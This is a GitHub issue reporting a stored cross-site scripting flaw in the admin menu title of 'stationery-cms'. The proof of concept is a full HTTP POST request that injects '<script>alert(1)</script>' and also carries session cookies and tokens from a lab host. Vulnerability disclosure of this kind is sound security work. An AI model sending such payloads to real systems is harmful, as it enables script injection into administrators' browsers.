Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Background menu title storage xss #12

Open
qbz95aaa opened this issue Jan 8, 2023 · 0 comments
Open

Background menu title storage xss #12

qbz95aaa opened this issue Jan 8, 2023 · 0 comments

Comments

@qbz95aaa
Copy link

qbz95aaa commented Jan 8, 2023

Vulnerability affects product:[stationery-cms]
Vulnerability type:storage xss vulnerability(Cross-site scripting)
Vulnerability Details:
Background menu title storage xss
image
poc
`
POST /admin/auth/menu HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 1101
Accept: text/html, /; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV9CALUhH89iRDFdw
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/auth/menu
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cms_ds_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJtYXN0ZXIiLCJpc3MiOiJKUkNtcyIsInN1YiI6IkpSQ21zLURhc2hib2FyZCIsImV4cCI6MTY5ODgxOTIzNn0.IbsTyYy5sJZlBDtgIiOb9G6idpa9b2LkWioRlSMlSEA; .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj_KGa_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0ku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dVeU1ISGNHV3pSSUpyTndcL08yclh2MWJNcVFVTklJR2lxYmJnQ1ArdGVvenFTNWJYZXQ5NGRXSkpockIiLCJtYWMiOiI3MzUxYzIyMjYzZmM0YmFiNGEyMDE0NDljM2ZiM2U4ZDQ4MWQ2ZDk1MzVmMGZhNmYxYjM4NDQ2ZjJiODJjMjhjIn0%3D
Connection: close

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="parent_id"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="parent_id"

0
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="title"

<script>alert(1)</script>1

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="icon"

fa-bars
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="uri"

111
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="roles[]"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="permission"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="permission"

------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryV9CALUhH89iRDFdw
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundaryV9CALUhH89iRDFdw--

`
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant